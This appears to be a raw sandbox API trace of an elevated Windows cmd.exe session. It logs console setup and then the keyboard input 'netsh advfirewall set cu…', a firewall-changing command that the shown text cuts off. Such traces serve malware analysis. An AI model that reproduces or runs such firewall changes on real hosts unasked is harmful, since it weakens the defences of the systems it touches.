FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7ba037f60, nSize=0x2000, Arguments=0x1d756ffae0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0046.306] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0046.306] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1d756ffa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x1d756ffa38*=0x26, lpOverlapped=0x0) returned 1 [0046.306] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1d756ffb08 | out: _Buffer="\r\n") returned 2 [0046.306] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.306] GetFileType (hFile=0x2b0) returned 0x3 [0046.306] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0046.306] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1d756ffad8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x1d756ffad8*=0x2, lpOverlapped=0x0) returned 1 [0046.306] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1d756ffb08 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0046.306] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.306] GetFileType (hFile=0x2b0) returned 0x3 [0046.306] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0046.306] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x1d756ffad8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x1d756ffad8*=0x34, lpOverlapped=0x0) returned 1 [0046.306] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1d756ffb08 | out: _Buffer="\r\n") returned 2 [0046.306] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.306] GetFileType (hFile=0x2b0) returned 0x3 [0046.306] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0046.306] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1d756ffad8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x1d756ffad8*=0x2, lpOverlapped=0x0) returned 1 [0046.307] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0046.307] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0046.307] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0046.307] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0046.307] ??_V@YAXPEAX@Z () returned 0x1 [0046.307] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.307] GetFileType (hFile=0x2a4) returned 0x3 [0046.307] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0046.307] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1d756ff948 | out: TokenHandle=0x1d756ff948*=0x0) returned 0xc000007c [0046.307] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1d756ff948 | out: TokenHandle=0x1d756ff948*=0x94) returned 0x0 [0046.307] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x1d756ff8f8, TokenInformationLength=0x4, ReturnLength=0x1d756ff900 | out: TokenInformation=0x1d756ff8f8, ReturnLength=0x1d756ff900) returned 0x0 [0046.307] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x1d756ff900, TokenInformationLength=0x4, ReturnLength=0x1d756ff8f8 | out: TokenInformation=0x1d756ff900, ReturnLength=0x1d756ff8f8) returned 0x0 [0046.307] NtClose (Handle=0x94) returned 0x0 [0046.307] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x1d756ff910, nSize=0x0, Arguments=0x1d756ff918 | out: lpBuffer="\x8320\x45ac\x1c8") returned 0xf [0046.308] GetProcessHeap () returned 0x1c845ac0000 [0046.308] RtlAllocateHeap (HeapHandle=0x1c845ac0000, Flags=0x8, Size=0x218) returned 0x1c845ac6c30 [0046.622] GetConsoleTitleW (in: lpConsoleTitle=0x1d756ff960, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0046.921] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0046.921] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0046.933] GetProcessHeap () returned 0x1c845ac0000 [0046.933] RtlFreeHeap (HeapHandle=0x1c845ac0000, Flags=0x0, BaseAddress=0x1c845ac6c30) returned 1 [0046.933] LocalFree (hMem=0x1c845ac8320) returned 0x0 [0046.934] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1d756ff788 | out: _Buffer="\r\n") returned 2 [0046.934] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.934] GetFileType (hFile=0x2b0) returned 0x3 [0046.934] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.934] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0046.934] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1d756ff758, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x1d756ff758*=0x2, lpOverlapped=0x0) returned 1 [0046.934] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0046.934] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c845bc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0046.934] malloc (_Size=0x107ce) returned 0x1c845bd0060 [0046.934] _vsnwprintf (in: _Buffer=0x1c845bd0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x1d756ff798 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0046.934] _vsnwprintf (in: _Buffer=0x1c845bd008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x1d756ff798 | out: _Buffer=">") returned 1 [0046.935] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.935] GetFileType (hFile=0x2b0) returned 0x3 [0046.935] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0046.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0046.935] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1d756ff788, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x1d756ff788*=0x18, lpOverlapped=0x0) returned 1 [0046.935] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.935] GetFileType (hFile=0x2a4) returned 0x3 [0046.935] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.935] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.935] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.935] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c30, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0046.935] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.935] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.935] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.935] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c32, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0046.935] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.935] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.935] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.935] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c34, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0046.935] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.935] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.936] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c36, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0046.936] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.936] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.936] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c38, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0046.936] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.936] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.936] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c3a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0046.936] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.936] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.936] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c3c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0046.936] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.936] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.936] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c3e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0046.936] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.936] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.936] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c40, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0046.936] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.936] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.937] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c42, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0046.937] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.937] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.937] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c44, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0046.937] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.937] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.937] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c46, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0046.937] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.937] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.937] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0046.937] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.937] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.937] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c4a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0046.937] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.937] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.937] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c4c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0046.937] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.937] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.938] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c4e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0046.938] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.938] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.938] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c50, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0046.938] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.938] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.938] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c52, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0046.938] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.938] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.938] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c54, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0046.938] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.938] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.938] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c56, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0046.938] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.938] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.938] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c58, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0046.938] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.938] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.938] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c5a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0046.939] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.939] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.939] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c5c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0046.939] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.939] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.939] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1d756ffae8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x1d756ffae8*=0x1, lpOverlapped=0x0) returned 1 [0046.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c5e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0046.939] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0046.939] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.939] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff7ba029970, 